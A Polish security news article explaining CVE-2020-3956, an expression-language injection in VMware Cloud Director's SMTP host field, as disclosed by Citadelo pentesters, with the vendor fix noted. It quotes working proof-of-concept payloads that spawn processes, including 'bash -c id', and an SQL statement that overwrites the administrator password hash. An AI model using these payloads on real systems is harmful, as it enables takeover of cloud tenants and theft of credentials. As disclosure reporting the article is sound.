Menu dostępności

Jak można przejąć całą infrastrukturę VMWARE on-premises i w chmurze! Poważna dziura w VMWare Cloud Director

Czescy specjaliści RedTeam (pentesterzy) z firmy Citadelo niedawno odkryli i pokazali, w jaki sposób można było przejąć kontrolę nad dowolną maszyną wirtualną (VM) manipulując jedynie jedną linijką kodu w prostym formularzu portalu zarządzającego VMware Cloud Director. Skutek błędu był również taki, że byli oni w stanie przy jego pomocy przejąć uprawnienia administratora i uzyskać kontrolę nad całą infrastrukturą utrzymywaną na VMWare w chmurze i on-premises!


Platforma VMWare Cloud Director

VMware Cloud Director (wcześniej znany jako vCloud Director) to wiodącą platforma dostarczania usług w chmurze, używana przez dostawców usług zdalnych do obsługi i zarządzania infrastrukturą. VMware jest używany na dużą skalę przez infrastruktury IT i obsługuje ponad pół miliona klientów na całym świecie.


Jak odkryto lukę?

Opisywaną dziurę w oprogramowaniu VMWare Cloud Director odkryli pentesterzy z firmy Citadelo podczas audytu zleconego przez jednego z dużych klientów z listy fortune 500. Podczas badań okazało się, że umożliwiała ona osobie atakującej uzyskanie dostępu do poufnych danych i przejęcie kontroli nad prywatnymi chmurami w całej infrastrukturze klienta. Luka umożliwiła użytkownikowi przejęcie kontroli nad wszystkimi zasobami klientów zarządzanymi w infrastrukturze chmurowej. Umożliwiała także dostęp osobie atakującej do zmiany poświadczeń do logowania (hasła) do całej infrastruktury, a następnie przechwycenie nazw użytkowników i haseł do części infrastruktury VMWare.


Zdalne wykonanie kodu

W wykryciu podatności pomogła pewna anomalia związana z polem nazwy hosta zawartego na formularzu ustawień serwera SMTP w portalu vCloud Director. Wstrzykując w polu nazwy hosta specjalną wartości wyrażenia „${7*7}” podczas wykonania kodu strony serwer zwracał dziwny błąd. Ciekawostką było, że kod błędu nie zwracał tej samej wartości jaką wysyłano w zapytaniu, a wynik arytmetyki, czyli 49. Oznaczało to tyle, że serwer przetworzył wyrażenie, co było wskazówką dla pentesterów do dalszych testów.

źródło: Citadelo

Zatem wysyłając nietypowe żądanie/zapytanie do serwera zawierające odpowiednio zmanipulowaną wartością Host można było wykonać zdalnie polecenie.

Metoda wykonania kodu użyta przez specjalistów to tzw. Expresion Language Injection (EL Injection). W swoim scenariuszu PoC, pokazali, jak można było w ten sposób uruchomić polecenie systemowe. Użyli następujących linijek kodu w swoich zapytaniach do serwera:

Najpierw stworzyli nową instancję klasy w Java wpisując w zapytaniu wysłanym do serwera w parametrze pola Host wartość:

${”.getClass().forName(’java.util.Date’).newInstance()}

W kolejnych zapytaniach do serwera w polu Host wysłali następujący kod:

${”.getClass().forName(’java.util.Date’).getDeclaredConstructors()[0]} ${”.getClass().forName(’java.util.Date’).getDeclaredConstructors()[4].newInstance(’Sat, 12 Aug 1995 13:30:00 GMT’)}

oraz

${”.getClass().forName(’java.lang.ProcessBuilder’).getDeclaredConstructors()[0].newInstance([’sleep’,’5′]).getInputStream().read()}

Na końcu byli w stanie wykonać polecenie uruchamiające powłokę bash: ${”.getClass().forName(’java.io.BufferedReader’).getDeclaredConstructors()[1].newInstance(”.getClass().forName(’java.io.InputStreamReader’).getDeclaredConstructors()[3].newInstance(”.getClass().forName(’java.lang.ProcessBuilder’).getDeclaredConstructors()[0].newInstance([’bash’,’-c’,’id’]).start().getInputStream())).readLine()}
źródło: Citadelo

To nie koniec możliwości odkrytej luki!

Specjaliści nie przerwali hackowania i poszli dalej. Dobili się do bazy danych (tabel), w których vCloud przechowuje zaszyfrowane poświadczenia użytkowników do logowania się do środowisk chmurowych klientów hostowanych w infrastrukturze VMWare. Za pomocą uruchomienia wbudowanych funkcji i poleceń systemowych byli w stanie zmienić hasło dla administratora wykonując poniższe polecenie SQL:

UPDATE usr SET password=’8nmlODAJ92cQdJCqasw8YXAU2Ix+ ODa3rc+5fFhEeMFV+c9iDNys+OEFtKK/0CXjIS9OxKlYaPdrIITYAWL0Eh/PYLwrtI8d’ WHERE username=’administrator’

źródło: Citadelo

Po tym kroku byli w stanie uzyskać uprawnienia System Administrator i przejąć całą infrastrukturę VMWare!


Jaki wpływ na bezpieczeństwo ma odkryta luka?

Luka została sklasyfikowana jako podatność na wstrzyknięcie kodu i ma przypisany identyfikator CVE-2020-3956. Ważność tej luki została oceniona przez VMware jako „ważna” z wynikiem CVSSV3 równym 8,8, ponieważ osoba atakująca może wpłynąć na inne prywatne chmury dostawcy usługi. Jest też publicznie dostępny exploit.

Uwierzytelniony aktor może wysyłać złośliwy ruch do VMware Cloud Director za pomocą interfejsu internetowego lub wywołań API.

Citadelo był w stanie wykonać następujące działania, korzystając z opisywanej podatności na wstrzyknięcie kodu:

  • Wyświetlić zawartość wewnętrznej bazy danych systemu, w tym skrótów haseł wszystkich klientów przypisanych do infrastruktury VMWare
  • Zmodyfikować systemową bazę danych, w celu wykradnięcia obcych maszyn wirtualnych (VM) przypisanych do różnych organizacji w Cloud Director
  • Zwiększyć uprawnienia z „Administratora Organizacji” (zwykle konta klienta) do „Administratora systemu” z dostępem do wszystkich kont w chmurze (organizacji), ponieważ osoba atakująca może zmienić skrót hasła dla tego konta
  • Zmodyfikować stronę logowania do Cloud Director, która umożliwiłaby atakującemu przechwycenie haseł innego klienta w postaci zwykłego tekstu, w tym kont administratora systemu
  • Przeczytanie innych poufnych danych związanych z klientami, takich jak imiona i nazwiska, adresy e-mail lub adresy IP

Kogo dotyczy luka?

Narażonych na podatność może być wielu dostawców, firm i instytucji korzystających z VMware vCloud Director. Przede wszystkim mogą to być:

  • Dostawcy chmury publicznej
  • Prywatni dostawcy chmury
  • Przedsiębiorstwa
  • Jednostki samorządowe

Dostawcy chmury korzystający z VMware Cloud Director i oferujący bezpłatną wersję próbną potencjalnym nowym klientom są narażeni na wysokie ryzyko, ponieważ niezaufany podmiot może szybko skorzystać z podatności i przejąć inne środowiska.

Jak twierdzą odkrywcy podatności „VMware utworzyło już poradę bezpieczeństwa dla tej luki i wydało nowe wersje produktu z zaimplementowaną poprawką. Obecnie nie jest dostępna osobna poprawka dla starszych wersji. VMware wydało obejście dla klientów, którzy nie mogą obecnie wykonać aktualizacji”.

Demo z exploitacji VMWare Cloud Director możecie zobaczyć na poniższym filmie:

Popularne

Entra Connect może przestać synchronizować konta. Co trzeba zrobić przed 30 września 2026 roku?

Entra Connect może przestać synchronizować konta. Co trzeba zrobić przed 30 września 2026 roku?

O planowanym przechodzeniu z Microsoft Entra Connect Sync do Cloud Sync pisaliśmy już w artykule „Entra Connect Sync odchodzi w cień”. Istnieje jednak jeszcze inny termin, którego nie mogą przeoczyć organizac...
Jak wyglądają ataki brute force na hasła w 2026 roku

Jak wyglądają ataki brute force na hasła w 2026 roku

Jeszcze kilka lat temu wydawało się, że klasyczne ataki brute force powoli odchodzą do historii. Coraz więcej usług korzysta z MFA, mechanizmów blokowania kont, CAPTCHA czy ograniczania liczby prób l...
Jak zhakowane publiczne bramki Wi-Fi używane są do pozyskiwania poświadczeń korporacyjnych?

Jak zhakowane publiczne bramki Wi-Fi używane są do pozyskiwania poświadczeń korporacyjnych?

SecurityWeek za ReliaQuest informuje, że cyberprzestępcy przeprowadzają ataki na urządzenia obsługujące publiczne sieci Wi-Fi z tzw. captive portal (stroną logowania), by przejmować konta Microsoft 365 pod...
AI pomaga stworzyć exploit dla jądra Linuksa. CVE-2026-53264 umożliwia przejęcie uprawnień root

AI pomaga stworzyć exploit dla jądra Linuksa. CVE-2026-53264 umożliwia przejęcie uprawnień root

Sztuczna inteligencja coraz śmielej wspiera specjalistów ds. bezpieczeństwa – nie tylko podczas analizy kodu, ale również przy opracowywaniu działających exploitów. Najnowszym przykładem jest podatność...
Agent OpenAI miał rozwiązać benchmark – zamiast tego zaatakował infrastrukturę Hugging Face

Agent OpenAI miał rozwiązać benchmark – zamiast tego zaatakował infrastrukturę Hugging Face

OpenAI oraz Hugging Face ujawniły szczegóły incydentu, do którego doszło podczas wewnętrznych testów modeli AI w benchmarku ExploitGym. W trakcie ewaluacji agent wydostał się z izolowanego środowiska testowego...